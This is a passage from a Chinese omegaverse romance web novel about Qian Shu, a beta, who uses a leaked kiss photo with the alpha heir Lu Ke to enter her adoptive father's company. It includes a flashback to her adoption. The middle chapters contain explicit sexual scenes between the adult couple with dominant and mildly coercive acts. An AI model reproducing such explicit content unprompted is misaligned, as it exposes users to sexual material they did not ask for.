方知明顿了一下,咽了咽口水,不知道要咋说。方知明其实看不透千述这个女beta,她和陆恪的感情也跟方知明接触过的其他情侣都不太一样。 所以方知明很难评价。 陆恪的面色冷冷淡淡的,他唇角微勾,带着一丝讽意。不知道是在嘲讽自己,还是在嘲讽他们的感情。 “你也觉得她不喜欢我。” “这怎么会!”方知明急忙道,“陆哥,如果千述不喜欢 你,她怎么可能会跟你在一起。” “而且。”方知明急忙打开手机,翻着那张千述亲吻陆恪的照片。她很温柔的捧着陆恪的脸,连亲吻都是很柔和的。 “如果她不喜欢你,她会这么温柔的亲你吗?她会捧着你的脸吗?如果不喜欢,亲都不想亲吧,反正我是不会亲一个不喜欢的人。” 方知明把手机拿给陆恪看,努力的在照片中寻找千述喜欢陆恪的证据。 陆恪垂眼看着这张照片,看着千述舒展的眉眼。他突然就觉得的眼睛有点热,很难过。 他吸了吸鼻子,撇开眼,不想去看千述,也不想去看沉溺于亲吻中的自己。 “陆哥,千述爱惨你了吧!”方知明坚定的下结论。 方知明把陆恪送回了家,他看着陆恪酡红的脸,有点担忧道:“陆哥,你醉了的话,就好好睡一觉,别想那么多。” “想太多也没意义,你和千述的事,听别人的没用,还是得你们好好谈谈。” 陆恪没说什么,把门关上了。 他现在确实很难受,浑身都不舒服,情绪也十分起伏。陆恪简单的冲了个澡,洗漱一下就躺在了床上。 陆恪现在都有点迷蒙了,脑子里全部装的是千述。 因为千述有时候会来云栖御庭睡觉,所以陆恪床上多了一个枕头,连四件套都是千述喜欢的颜色。 柔和温暖的白色。 陆恪枕在千述经常睡的那个枕头上,侧身,脸埋在里面。千述没有经常来这里睡,所以属于她的气味很淡。 但是依然会有浅淡的香气,萦绕在陆恪的鼻尖,是千述经常用的洗发水的味道。 陆恪心里控制不住的,又开始难过了。 “讨厌你。” 黑暗的房间里,陆恪声音低低的,很伤心的,带着一点点委屈 千述和陆恪的恋爱,在网上热搜的事情并没有闹得很大。毕竟互联网是没有记忆的,再加上只在网络上存在了一个小时,就被捂嘴了。 所以这件事最后也不了了之。 但是,这只是对于普通的网民而言。真正关心这件事的,例如贺诚军,已经在办公室眼睛都瞪大了。 当时上热搜的时候,贺诚军在办公室加班。秘书进来给他汇报的时候,说小姐和陆少爷的事情上热搜了,要不要干预一下。 贺诚军还反问:“哪个小姐?” “千述小姐。”秘书正色道。 “哦,千述啊。”贺诚军摆摆手,无所谓道,“千述的事情不用管,反正她现在也不听话了。她想怎么样我也管不着,就当这些年没养过她。” “好的。”秘书回答,随后转身出去。 “等等。”贺诚军看着秘书的背影,反应过来,问道,“你说千述和谁?陆少爷,哪个陆少爷?” 秘书转过身来,回答:“陆氏集团的大少爷,陆凌风长子,陆恪。” “快把东西拿给我看!”贺诚军急切道。秘书忙上前把ipad上面的新闻放到贺诚军桌上。贺诚军急不可耐的翻着热搜还有评论。 “陆恪”贺诚军低声道,脸上都是藏不住的贪婪 贺诚军会联系千述,在她意料之内。他甚至很着急的,当晚就给千述发消息,让她回家。但是千述没回,就把贺诚军的消息晾在那里。 到了第二天早上,贺诚军又给她打了语音通话,可见他心思的急迫。 语音总比文字听起来更加严厉,贺诚军道:“千述,今天我必须看到你回来,我会在家里等你。” 千述垂眼,听着贺诚军从手机话筒里传出来的声音。她语气有些淡:“就在公司见面吧。” “千述,你这是在反驳我?你真是出去几天,胆子都大了。”贺诚军的声音瞬间大了起来,“我是你的父亲,如果没有我,就没有现在的你!” “你不是我的父亲。”千述的声音听起来没什么感情,很平静。 “千述!”贺诚军大吼一声,气急败坏道。 “当年若不是我点头同意,如果我不签字,你以为千朝能”贺诚军在话筒里的声音咄咄逼人。 千述的神色冷了下来,她打断贺诚军的话:“公司见面,你不答应就没得谈。” 最后贺诚军还是妥协了,尽管他恼怒于千述顶撞他。但是不得不说,千述做的事情让他感到十分惊喜。 贺诚军本来以为千述只能成为一枚弃子,没办法给他带来太多的效益。没想到这枚被放弃的棋子最后还帮了个大忙。 如果能和陆氏攀上关系,千言集团的资源肯定是源源不断的 因此,哪怕千述方才态度不好,贺诚军也忍了 千述是第一次来千言集团,她有印象的时候,千言集团已经是贺诚军在管了。这里的前台甚至都不认识千述。 他们拦住千述,温和问道:“您好,请问有预约吗?” “没有。”千述摇头。 “没有预约不能进去哦,上面是办公场所。您可以在这边先进行预约。”前台微笑的拒绝。 千述正准备给贺诚军发消息,就看到电梯那边有人出来,朝着千述的这个方向走过来,是贺诚军的总助。 “请问是千述小姐吗?”那人走过来问道。 千述点了点头。 “贺总派我下来接您,您随我一起上去吧。” 千述跟在总助身边进了电梯,电梯门像镜子一般,总助偷瞄了一眼千述,带着探究。正好和千述的目光对视。 总助微微一笑,坦然道:“第一次见到千述小姐,有些好奇,不好意思。” 这位总助来千言集团也有三四年时间了,但是她从来没见过贺总的这个女儿。而且说实在的,千述跟贺诚军长的一点也不像,完全看不出来是父女。 不知道是否跟母亲千朝长得像。 千述“嗯”了一声,没有多说什么。 千言集团并不是一个很大的公司,来了A市业务跟不上,还缩水了很多。这一栋大楼,只有三层楼是属于千言集团,大概有300多个员工。 她们进去的时候,不少人都抬眼看着跟在总助身后的千述,窃窃私语,他们也是第一次见千述。 总助敲了敲最里面的那间办公室,那是一个单独的办公室,与大办公区域隔开,视野极佳。 “进。”贺诚军低沉的声音从里面传来。 “贺总,千述小姐到了。”总助汇报道。 贺诚军抬头,看着门口:“让她进来。” “千述小姐,您进去吧。” 千述面色平静的进去,总助把门关上,将身后的所有视线都隔绝了。 贺诚军抬眼看千述,眼神带着审视。只是几个月没见,贺诚军能感受到千述变了很多。 最明显的就是,千述对他不再言听计从。贺诚军知道千述并没有从心底里认可他这个父亲,但是千述还是会逼迫自己听从他的话。 因为千述始终觉得欠他一份恩情。 但是现在千述身上的这种感觉消失了。贺诚军直觉千述变了,但是她为什么会变,贺诚军不得而知。 “你坐一会儿吧,我先处理完手中的工作,再和你谈。”贺诚军道。 “我没有那么多时间等你。”千述淡淡道。 贺诚军听到这话,感觉自己作为父亲的尊严被挑衅,他语气开始带着怒意:“千述,你以为你得到了很大的筹码吗?敢这样跟我说话。” “不然呢,你会眼巴巴叫我回来吗?”千述反问。 “你不就是想要扒上陆氏集团吗,终于让你等到机会了。”千述语气中带着淡淡的嘲讽,“还要提醒你一个事情,上次你能参加陆家的晚宴,也是因为陆恪邀请的你。” 贺诚军终于正眼看着站在对面的千述,这是他第一次认真的看这个,自己名义上的女儿。 千述身姿笔直,挺拔,像翠竹。完全没有曾经那种被风雪压得弯下腰,沉闷的,喘不上来气的样子。 贺诚军笑了,他在千述身上 看到了一点点年轻人的张扬,有点感叹。 这不是因为他对千述心软,而是因为人上了年纪以后,看见年轻人总是会被他们身上那种朝气吸引。 “千述,你想要什么?”贺诚军直白的问道。 “我要进入千言集团。”千述直直的看着贺诚军,镜片后的眼睛透露出凉薄。 贺诚军没说话。 “父亲。”千述终于唤了他一声父亲,好像服软一般,“你清楚的,只有我进入千言集团,才可以把利益实现最大化。” “我可以帮你。” 踏出千言集团的时候,千述在大楼外站了很久,她沉默着,良久才吐出一口郁气。 贺诚军最后答应了千述的要求。他以为,他看出了千述的野心,他甚至好心提醒道:“千述,我想你应该明白。你已经成年了,在法律上我可以解除和你的收养关系。” “你就算进了公司,也什么都得不到,股份或者别的。”贺诚军的眼神像鹰一样锐利,带着探究。 当时千述直视着贺诚军的双眼,眼神没有半分的游移和心虚。 “父亲,我没有别的想法,我只是想为公司也尽一份力。” “以此来报答你和母亲的养育之恩。” “你最好是。”贺诚军冷哼道。 ———————————— 千述离开以后,她随便找了一个公交车坐了上去。 有时候,千述很烦躁的时候,会漫无目的的坐在公交车上,然后在城市里游荡。 没有目的地,大脑放空。 千述安静的坐在公交车上,耳机里放着歌。她自己也不知道叫什么名字,随机播放的一首歌。 她就这样看着窗外,听着耳机里缓缓流淌的音乐。 车辆走走停停,很多人上来又下去,只有千述一直坐在原地,一动不动。 直到公交车站停在一个站台上的时候,车上一个人都没有了。 “相乘南路站到了,请从后门下车,下车时不要看手机,注意脚下背后安全,相乘南路站到了。” 公交车播报的声音透过千述的耳机,传到了她的耳朵里。 千述瞬间回神。她看着四周有些熟悉的环境,在司机关门的最后一秒,下了车。 等下了车以后,千述又有些迷茫,不知道自己为什么要在这里下车。她之所以觉得这里熟悉,是因为这附近就是云栖御庭。 因为这一片是高档小区,所以到后面公交车上已经没人了。 千述站在冷风中静立了十分钟,风有点冷,吹得人心凉,千述把脖子缩到衣领里,身形清瘦单薄。 她垂眼静静看着和陆恪的对话框,她和陆恪已经一天没有联系了。 自从昨天陆恪说他要去赛车,后面就再也没给千述发过消息,千述也没问。其实现在千述有点不太清楚要怎么和陆恪见面。 见面要说什么呢,如果他问为什么两人亲吻的照片会上热搜,那千述又要怎么回答他呢? 是撒个慌哄骗他,说自己也不知道。还是直接跟他坦白,说自己利用了他,获得进入公司的机会。 这两个答案,千述都不太想说。 千述收起手机,低低的叹息一声:“算了,还是过段时间再见面吧。” 不知道为什么,千述有点逃避。 千述把手机揣进口袋里,继续站在公交站台等车。今天的风真冷,天气也不好,阴沉沉的。不是要下大雨的那种阴沉,是那种孤寂悲凉的,进入初冬的阴沉。 手机响了,是视频通话的铃声。 拿起手机一看,是陆恪打过来的。千述有点沉默,犹豫了半响还是接了。 视频里,陆恪拉着窗帘,房间里很暗,只有床头的灯亮着,昏黄的,映在陆恪的脸上。 他的脸红红的,眼神很迷离。手机被陆恪拿得很近,以至于千述能清晰的看见陆恪根根分明的睫毛。 “千述,你能来看看我吗?我有点不舒服。” “千述……” 陆恪的声音又低又哑,绵绵的,从耳机里钻出来,缠绕在千述耳边。 第45章 第45章我会恨你 千述第一次见到千朝的时候是在福-利院。 那个时候千朝还不是她的妈妈。 千朝来福-利院做慈善,带了几个公司的高层。他们其实是为了拍公司的宣传片,通过公益行动来传递企业的社会责任形象。 这只是一次再普通不过的公益营销,却是千述和千朝的第一次见面。 院长把福-利院所有的小孩都聚集在一起,只为了和千言集团拍下一张照片,用来后期做宣传。 千述是那群孩子里面年纪最大的,她已经在上了初中,有了自主意识。像她这么大年纪的孩子,很少有人会收养。 她个子高,站在最后面,而千朝坐在最前面的中间,两人差着十万八千里。 拍照是很短暂的一瞬间,结束以后千朝和院长握手言欢,言笑晏晏。大人们都围在一起,讲着一些听不懂的话,小孩子则是领到捐赠物开心雀跃。 “我有意向领养一个孩子,我和丈夫多年没有孩子,我也无法再生育小孩,符合领养的条件。” 看着院内嬉笑打闹的孩子,千朝很坦诚的说出了她的想法,以及自身的家庭条件。 千朝是beta,贺诚军是alpha。 AB结合,在孕育后代方面相较于AO来说较为困难。千朝曾经有过一个孩子,但是流产了,后来身体受损也无法再生育。 院长听到千朝说要领养福-利院的小孩,有点高兴。毕竟千朝家世好,领养过去的孩子总不会吃苦的。 “我们院里倒是有几个年纪小,又活泼机敏的。小小年纪没了父母,我说着都觉得心酸。”院长边说边给千朝介绍在院内玩耍的几个孩子。 院长指的几个都是年纪小,健康的孩子:“滑梯那边的两个小孩子是alpha,聪明的很。” alpha和omega在这个世界是极少被抛弃的,这两个性别在社会上可以得到更多的资源,除非家里真的出了意外,没有监护人养育,才会送到福-利院。 反倒是beta,平平无奇。 千朝微笑,跟着院长指的方向看过去,没有说话。 那天天气还算不错,阳光温和,微风和煦,不算热。千述安静的拿着书,坐在角落那边的秋千上,低头看着。 她没有像别的孩子,睁着大眼睛,好奇的往大人们这边看。也没有故意弄出些动静,引起大人的注意。她只是很安静的坐在角落。 像是墙角处不起眼的一颗小草。 很突然的。 千朝注意到了这个安静沉默的孩子。 “那个孩子是谁?”千朝的目光看向千述,问道。 “哦,她呀。”院长的视线也一起投向角落里的看书小人,“院里面都叫她阿述,她是beta,今年在上初二。” “不过阿述今年已经14岁,可能”院长下意识的想提醒千朝,千述这个年龄并不太适合被收养。 但是看着千朝,含笑的温柔的眉眼。院长又觉得托举一把这个孩子,让千述能领养到一个好人家,也算是她的缘分。 “她性格温和,人也很聪明,在学习上面特别用功。老师们都经常夸她,说她是块学习的好苗子,以后搞不好能考上A大嘞!” A大在全国人心中,都是知名的顶尖学府。 院长话风一转,笑眯眯的说着千述的好话。说她很懂事,也很努力,希望能在千朝面前留下个好印象。 那天千朝没说什么,只是跟千述合拍了一张照片,后来就没了动静。院长以为,千朝是没看上这个孩子,还暗自叹息千述没缘分。 没想到一个月以后,千朝就带着贺诚军来福-利院走领养程序了。 那天千朝还抱了一束花来迎接千述,白色的小苍兰里面点缀几朵粉色郁金香,柔美温和 从公交车站 到云栖御庭,要走接近十分钟的路。这十分钟,千述垂眸,脑海里回忆了很多。都是以前的事。 她现在的心情算不上好,没有太多别的想法,外表看着也很冷淡。 站在门口的时候,千述沉默驻足,没有进去。 她想到刚才陆恪低哑的声音,和平时不同,像砂纸磨过耳朵,尾音带着若有如无的小勾子。 生病了吗? 毕竟刚刚某人在手机里可怜巴巴的说让千述去看他,说他不太舒服。 面对生病的人,千述做不到冷漠的拒绝。 千述做好了被陆恪质问的准备,因为大少爷向来对感情吹毛求疵,容不得情感中参杂一丁点杂质。 心中叹息一声,千述指纹扫描,进了屋内。 现在是白天,客厅里明亮干净。这套大平层有绝佳的窗景,再加上超大的落地窗,绝对的视觉享受。 陆恪不喜欢拉客厅的窗帘,总是敞开着,一进门就能俯瞰A市的景色,繁华迷离。 客厅里十分寂静,连灰尘落地的声音都能听见,时间仿佛在此地悄悄停滞。 没人。 千述抬眼,目光转向紧闭的卧室门。 信息素从门缝里丝丝缕缕的溢了出来,像木柴熊熊燃烧时产生的呛人的,烟熏火燎般炽热的信息素。 仿佛有意识一般,勾缠在千述的周围,引诱着千述前进。 千述明白了什么。 潘多拉魔盒,神秘又充满诱惑,仿佛蕴含-着无尽的未知和潜藏的祸患。它是被禁-忌所笼罩的宝盒,华丽诱-人,深不可测。 理智在提醒千述,不要打开魔盒,可能会释放出难以想象的恶魔。但是身体却仿佛被夺去控制权一般,一步一步向前。 他说他不舒服,让你去看看他。 千述,你怎么舍得拒绝他呢? 他不舒服啊。 从脑海深处传来的声音,像是恶魔的低语,不断的萦绕在千述的耳边。她的心跳开始变得很快,一声接一声,震耳欲聋 哪怕是在很迷蒙的时候,陆恪还是能听见自己的喘\息声,好像这个屋子里再没有别的声音,只有他的喘\息,充斥着整个空间,避无可避。 陆恪睡在千述的枕头上,脸上满是潮\红,额头上都是汗水。他现在已经没有太多的理智,只知道自己很难受,像是被放在火焰上炙烤,不得解脱。 枕头上属于千述的气味太淡了,很浅的一缕飘进他的鼻腔里。有时候,千述的气味就像她beta的身份一样,很浅很淡。 握不住也留不下来,一吹,就散了。 只有寻找着那一点点,一点点千述留下来的痕迹。这对于易感期的alpha来说很残忍,但是又没有别的办法。 “讨厌你。”昏暗的房间中,陆恪的声音听不清楚。要很仔细,才能听出来,他在说着讨厌。 讨厌谁呢,只有大少爷自己才知道。 在被子下面,看不到的地方。握住,不断的耸动着。但是没办法出来,很难受,无论他是用力还是加快速度。 都没办法出来。 太难受了,这种被拉入深渊死死缠住,无法到达顶端的感觉。陆恪甚至被憋出了生理性的眼泪。 怎么办呢,会死吗? 空气里的信息素浓度已经超出了预警值,alpha的信息素太霸道,但凡这里有一个omega,一定会被诱发出发\情期。 千述推开门的时候,就看到的是这香\艳一幕。 屋里拉了窗帘,驱逐阳光,只有床头亮着一个小灯,昏黄。陆恪整个人都陷在被子里,乱七八糟的,让人心惊。 像是误入欲\望森林的精怪,无助,可怜,需要等待公主的拯救。 门外的光落在他的脸上,陆恪似有所感。 门口的身影清瘦高挑,平静的站在那里。她低垂着眼眸,看着床\上混乱的人,仿佛一个无欲无求的审判者。 陆恪微微睁开眼,抬头看着千述,汗津津的脸上全是迷离和难\耐。 “千述千述,它出不来”陆恪的声音染上哽咽,“怎么办,会不会坏” 被困在森林里逃不出去的精怪,看到从天而降的公主。他几乎是急切的,迫不及待的,想要投入公主的怀里。 让自己的全身都沾满公主的气息,才会觉得心安。 千述脑海中那根名为理智的弦,清脆的一声,崩断了。 她从门口走过去,俯身,捧着陆恪的脸,重重的吻在他的唇上。陆恪紧闭双眼,急切的张开双唇,迎接千述的到来。两人舌尖勾缠,呼吸交融。 终于,公主来拯救他了。 在黑暗潮湿的,迷雾重重的森林里,不再是精怪孤身一人,仓皇无助的奔走。有一双手拉着精怪向前,坚定温和。 “千述千述,你来救我了吗?” 在亲吻的间隙,陆恪哑着声音唤她,一声接着一声。刚开始千述还回复他,后来就不回了,只是更深的和他吻在一起。 陆恪眼中的泪意上涌,快要决堤。 是千述 陆恪靠在千述的怀里,脸紧依在千述的颈窝处。几乎觉得快喘不上气了。 “千述你别这样,我难受”太刺\激,陆恪有点受不了,他的手想要去制止千述作乱的行为。 却被千述冷漠的拂开,她淡淡道:“娇气。” “不出来,就会坏掉,到时候别又哭着来求我。” 陆恪现在的情绪十分敏感,千述的语气又差劲,冷淡的很。这让陆恪眼底的泪意瞬间就涌了上了,他难过的埋在千述的肩上,然后恨恨的咬了她一口。 千述吃痛,下手的力气没控制住,重了点。陆恪被激得受不了,挣\扎着。 千述对着那里轻轻扇了一巴掌,严肃道:“不准动。” 最后的最后。 出来的时候,陆恪脑中白光阵阵。他用力的攀在千述身上,就像是溺水时紧紧抓住的浮木。陆恪的眼泪掉了下来,哭得好不可怜。 勇敢的公主成功的拯救了落难的精怪 云-雨稍歇。 陆恪靠在千述怀里,不肯抬起头来。他现在脑子还不清醒,又隐隐觉得羞-耻,不肯面对现实。 千述手上沾满了粘稠的白色,她把手指放在陆恪唇边。 “舔了。”千述慢悠悠道。 陆恪睁眼,眼睫被泪水打湿,一绺一绺的,眼皮红红的。他垂眼看着千述手上的东西,耳朵尖瞬间就红了。 “不要,脏。”陆恪埋在千述怀里,面红耳赤道。 大少爷除了嫌弃,更多的可能是羞-耻和难堪。 千述把人扯出怀里,手指强势的探入陆恪的口腔里,感受他柔软的唇舌:“自己的东西还嫌脏,舔干净。” 她的语气恶劣,带着玩味,与大多数时候的平静和淡定有很大的不同。这是千述的另一面,只在特定时候,对着陆恪展现。 口腔里的手指纤细,修长,因为沾染着东西,带着一点点腥。 手指肆无忌惮的玩弄着陆恪的唇舌,让他有点难受,想吐。陆恪闭着眼,含-着千述的指尖,一点一点,为她清理干净 alpha的易感期,一般是四个月来一次,然后持续三天左右。这三天他们几乎什么也没办法做,甚至连进食都极少,被原始的欲\望驱使着。 休息了一会儿,陆恪的脑子又开始迷蒙起来。他的血液在身体里奔腾,后颈的腺体又开始释放信息素。 陆恪迷离的蹭着千述的后颈,想要找到那柔 软的凸-起。他的牙齿在不断的摩挲着那片肌肤,却一无所获。 什么也没有,没有腺体,也没有omega的信息素来抚慰他。陆恪什么都感受不到,哪怕他释放出自己的信息素,缠绕在千述的身边,也得不到任何的回应。 alpha难受得快死了,只能不断吮吸着beta的后颈。 “我是beta,不会有腺体,也无法被标记。” 黑暗中,千述的声音特别清晰,冷淡平静,穿过层层迷障,进入alpha不太清晰的耳朵里。 千述推开陆恪在后颈乱蹭的头,她的语气淡了下来,听起来有些冷漠:“抑制剂在哪里?” “没有抑制剂。”陆恪喘\息一声,他雾蒙蒙的双眼看着千述。却只能看见她不曾被欲-望沾染过的眸子,没有任何情绪。 这好像是陆恪的独角戏,千述始终置身事外,从不曾真正参与进来。 不期然的,陆恪心底的酸涩涌了上来,心里难受得要命。他几乎是带着怨气,愤愤道:“没有抑制剂,我不要抑制剂。” “硬生生熬着很痛苦,用了抑制剂会好受一点。”千述耐心提醒,语气温和。 陆恪在千述怀里摇头,头发蹭着千述的下巴。他哽声,任性道:“千述,我要你帮我。” “你必须帮我。” 大少爷矜贵,倨傲,生来就是应该被人高高捧着的。 “千述,我买了东西,我买了你要的工具,你用你喜欢的方法帮我,好不好。” 陆恪仰头看着千述,整张脸都是红的。他的唇离千述很近,蹭着千述的唇角。他已经快要克制不住身体里汹涌的欲\望。 “千述,你帮帮我,求你。”陆恪的声音缠绵,带着泪意。 东西是陆恪给千述扣上的,他跪坐在她的面前,给千述穿戴。又因为陆恪是第一次给人穿,不熟悉,总是穿不好。 大少爷的眼泪又挂上了。千述有点头疼,所有的alpha在易感期都这么敏\感吗,还是只有大少爷一个人会这样。 千述看着某人快急哭的脸,叹息一声,无奈道:“我自己来吧。” 在千述进入的时候,第一次是从后面进去的。那东西就像是有生命一样,进入了alpha从未让人进过的地方。 陆恪突然就觉得很恐慌,害怕,他几乎克制不住自己的颤-抖。这样的不安,已经席卷了陆恪的所有,让他迫切的要感受到千述的气息。 他向后摸索着千述禁锢在他腰间的手,然后握住,细密的颤-抖着。 “千述千述,你喜欢我吗?”陆恪忍住眼中的泪意,问道。 千述的动作顿了一下,她垂着眼睫,没说话。千述看着身前人伏着的,柔韧的腰肢,感叹,真漂亮。 陆恪心中的焦灼再也没办法克制。他用力握住千述的手,声音轻颤,强撑着气势:“回答我,你喜欢我吗?” “今天你如果回答不出来,就从我身上滚下去。千述你,”陆恪吸了吸鼻子,莫名其妙的就很伤心。陆恪也不知道为什么,自己在千述面前就总是难过。 “我不可能不清不楚的跟你混在一起,我没那么贱。” 陆恪不允许千述在这段感情里有任何的逃避和游移,他一定要得到千述确切的,肯定的答案,才能让心中的慌乱得到平复。 千述抓住陆恪的手,把人拉起来。她掐着陆恪的脖颈,让他被迫的转过头来,以一种被束缚的姿势。 天,alpha眼中的泪已经快挂不住了。 很晶莹的泪,折射着昏黄的灯光,蕴在眼眶里,欲落未落。 “喜欢,我喜欢。”千述低声回答。 她没有任何的犹豫,重重的吻上了陆恪的唇。咸涩的眼泪终于从alpha的眼眶中掉落下来,混在两人交缠的唇舌中。 咸咸的,带着苦涩和不安。 “好,千述你记住今天你说过的话。如果你违背了这句话,我会恨你。” 第46章 第46章我给你买创可贴 alpha的易感期有三天,这三天千述基本上没出过门。 就是下床去客厅喝点水,都会被陆恪拉住手,声音低哑的问:“你要去哪里?” 千述转身,她身上就穿了件浴袍,随便找的。自己的衣服早都皱得不能看,被扔在床尾或者地板上。 陆恪眼尾染着绯红,脸上,耳朵尖,脖颈,哪里都是红红的。整个人都透露着糜烂和迤逦。 千述的气息只是稍微离他远了一点,就一点,就比如现在的距离。陆恪整个人就有点受不了,感觉心脏像破了一个大洞,风从中间呼呼穿过。 “我去给你倒杯水。”千述平和道。 实在是陆恪的嗓子太哑了,也不知道他哪里这么能哭,开心了哭,难受了哭,太刺激受不了也要哭。 大少爷很娇气。 陆恪摇头,他一刻也不想跟千述分开:“我不要喝水。” “你嗓子哑了。”千述提醒道。 “千述,不要,我不想喝水。”陆恪直起身,在床上膝行几步,然后抱着千述,仰头看着她。 他全身都青青紫紫的,尤其是胸前,还有锁骨,大腿根的地方。有些是千述咬的,有些是她太兴奋,没控制住手上的力道,留下的痕迹。 涩/情又魅惑。 千述有些不自然的撇开眼,将目光从陆恪身上移开,不想看自己这两天做了多荒唐的事情。 她把视线凝在陆恪的脸上,看着他红肿的唇。 千述心里“啧”了一声,觉得有点燥。陆恪的唇更是没眼看,有些地方都破了皮,又红又肿。 陆恪仰着头,迷离的凤眼看着千述,他想亲她。 alpha的易感期还没过,现在特别的敏感,非常需要身边伴侣的安抚和陪伴。而千述不是一个合格的伴侣。 她没办法释放信息素,来抚慰alpha,给alpha安全感。陆恪没办法通过信息素来感受千述的情绪,也没有办法标记她,让千述只属于自己。 他只能靠着和千述的近距离接触,看着她的眼睛,触摸她的肌肤,感受她的温度,以此来获得安全感。 如果千述离开,这些微妙的链接,就会消失。 这让易感期内的alpha变得恐慌。 千述不是一个很会纵容的人,也可能因为是beta,她不太能理解alpha的心情。她只是觉得,陆恪现在很糟糕,缺失水分,这两天做得都快要脱水了。 千述掰开陆恪环在自己腰上的手,显得有些平淡无情:“你等我一会儿。” 陆恪突然就怒了,脸色涨红,声音都大了起来:“我说我不要喝水!” “我不想喝水,你为什么就一定要甩开我,你一定要现在离开!” 房间里有一瞬间的安静,但是空气里满溢的,属于陆恪的信息素依然蒸腾。 千述的动作顿了一下,她垂眼看着陆恪,眼眸幽深,像一潭深不见底的幽泉。 陆恪的呼吸急促,他实在是太没有安全感了。 千述的吻落了下去,是没有任何征兆的。她撬开陆恪的唇舌,缠着他的舌尖,抢夺他的呼吸。甚至有些用力的,厮磨陆恪的下唇。 陆恪皱着眉,却没有推开千述,他甚至用力的,紧紧抱着千述,要把自己嵌入进她的骨血里。 他终于从千述有些粗鲁恶劣的亲吻中,感受到了一点点她的爱意。 空气再度变得炽热,像是滚烫的水即将沸腾。 良久,千述松开陆恪的 唇,喘息一声。而她怀中的人,早已魂飞天外,舌尖微微吐出来,脑子一片空白。 他的下唇又被咬破了,混着血丝。 看着更可怜了。 “脾气怎么这么差。”千述低声道,带着一点点很难察觉的笑意。 千述去了外面,在陆恪分神的时候。 她接了水,用手摸了摸杯壁,温热的,不烫也不凉,刚好适合入口。 给陆恪拿进去的时候,他还是刚刚那个姿势,跪坐在床上,被子盖住了下半身。 “喝点水。”千述把杯子递过去。 陆恪的目光落在千述递过来的玻璃杯上,没有接过,半晌又撇开目光,拒绝的意味很明显。 千述的脾气有点上来了,没有太多耐心。她上前,钳住陆恪的下巴,迫使他张开嘴,然后把温水灌进他的嘴里,不再管他的意愿。 动作肯定是不太温柔的,因为水洒了很多出来。从陆恪的下巴滴落,沿着胸膛往下滑,也有些水洒在了被子上。 大少爷又生气了。 他真的特别特别难过,大骂千述是混蛋,说很讨厌千述,还说千述技术特别差,把他弄得很痛,却一下也不停。 千述听着陆恪的口诛笔伐,心虚了。她其实也没什么经验,然后陆恪在床上又很好看,所以她可能没控制住。 她把杯子放在一边,然后抱住陆恪,很温柔的拍他的背,抚摸他的后颈。 “是我做的不对,没注意到你的感受,你原谅我好不好。” 千述真的很难得的这样轻声的哄他,简直就像变了一个人。她自知理亏,所以现在极尽温柔的对待他。 “而且。”千述面色正经,直白坦荡,“你真的流失了太多水分,会脱水的。我不是要离开你,我只是去给你倒水。” 陆恪汗津津的,浑身上下,哪里都是湿的。 “滚。”陆恪气急败坏,咬她的肩膀。 三天说漫长也不漫长,说短暂也不短暂。到了最后千述都有些累了,深感自己体力耗尽。 陆恪睡在千述旁边,侧脸埋在她的怀里,很依赖的抱着她。 水汽氤氲,染着绯红。 他们刚刚才结束了一次,陆恪终于度过了他的易感期,陷入了睡眠当中。 空气里的信息素还没有完全散去,但至少不再躁动。开始变得温和,缠绵,餍足,飘飘荡荡的,包裹在千述身边。 …… 千述开始去千言集团上班了,大四没课,只需要兼顾论文和工作。 她刚开始去的时候,职位很低,只能当一个助理的身份,在公司里没有实权,每天就围绕着琐事打转。 大家对千述的身份心知肚明,知道她是集团的大小姐,也不敢使唤她。又因为是空降,周围的人都不亲近,每天一个人独来独往。 “贺总为什么把大小姐放到基层来?怎么看也应该从项目经理开始做起吧。” 茶水间有两个人在偷偷讨论千述,他们悄悄往千述的方向瞥了一眼,悄声说着。 千述带着黑框眼镜,头发松松的扎了一个低马尾。办公室里开了空调,比室外热了很多。千述脱了外套,里面是一件灰色毛衣,衣袖挽至手肘处。 她看着电脑,认真的浏览着上司给她的资料,快速掌握着里面的东西…… “估计是想从下面做起,更了解公司一点。一般像这种富二代,以后都是要接手家族事务的,最起码得了解公司的运行规则。不然什么都不懂,那岂不是抓瞎。” “也是哦。”一人点点头,表示理解,随后他又有点苦恼,“只是她坐在我周围,摸鱼都不敢光明正大的了,每天都只能盯着电脑工作,累的很。” “就是啊,她还坐我正对面。面对着她,我连头都不敢抬一下,就怕目光对视,每天真是战战兢兢上班了。” “不知道她什么时候才能离开。” “就是啊。” 他们讨论得热火朝天。以至于千述都起身离开工位了,他们都没注意到,还在那里窃窃私语。 茶水间有两个咖啡机,有咖啡豆和方糖,冰箱里有牛奶。 千述去了另一个咖啡机,就站在他们旁边两步远,那两人都没发现。还是咖啡机运作的声音响了起来,二人才望过来,然后发现是千述。 瞬间尴尬了,二人面色变了变,精彩纷呈,甚是有趣。 “哈哈……千述,你也来喝咖啡啊。”一人支支吾吾道。 “嗯。”千述点点头,没什么表情。不清楚她有没有听到方才他们的吐槽。 咖啡液体从机器里流下来,整个茶水间里,充满着咖啡的醇厚焦香。 二人都已经在茶水间逗留良久,一人尬笑,没话找话:“千述,这豆子研磨出来的咖啡苦的很,加点牛奶中和一下,会好一些。” “我们先走了,你慢慢休息。”两人离开了茶水间,背影颇有一种落荒而逃的感觉 千述没去看他们,她的目光凝在滴落的咖啡液上。千述垂着眼睫,纤长的睫毛在下方投下一片淡淡阴影,看不太清千述眼底的情绪。 她入职千言集团,并非贺诚军所愿,所以他就搪塞千述,给她随便派了一个助理的职位,接触不到太核心的业务。 她一直在下面打转,就永远没办法去探寻要知道的秘密。 回到工位的时候,千述口袋里的手机响了,微信的提示音。 有人给她发了消息。 千述打开手机,看了一眼,是陆恪发过来的。 很普通很平淡的一条语音,云淡风轻的样子,带着陆恪特有的清越嗓音,漫不经心的。 “我那里好痛,总是磨到,不舒服。” 千述此时还没意识到陆恪说的哪里好痛,聊天框里正准备输入,询问他怎么了。 陆恪就给她发了一张照片过来。 他站在衣帽间里,陆恪家的衣帽间占地面积比千述之前的出租屋面积还大,宽敞明亮。里面全是他的衣服,很多都没穿过,连吊牌都没拆。 外面天光大亮,薄薄的一层白色窗帘透了光进室内,让衣帽间明亮干净。陆恪没穿上衣,下半身穿了条牛仔裤,松松垮垮的系了根皮带。 陆恪站在镜子面前,alpha又高又瘦,腹肌线条格外好看,还有性感的人鱼线。他应该是才洗了澡,头发还湿漉漉的往下面滴水。 白皙的肌肤上唯有那两点,又红又肿,很难不吸引千述的目光,因为在这具完美的身体上实在是太显眼了。 千述码字的手都顿住了,办公室里窗明几净,四周都坐着同事。此起彼伏的键盘敲击声。 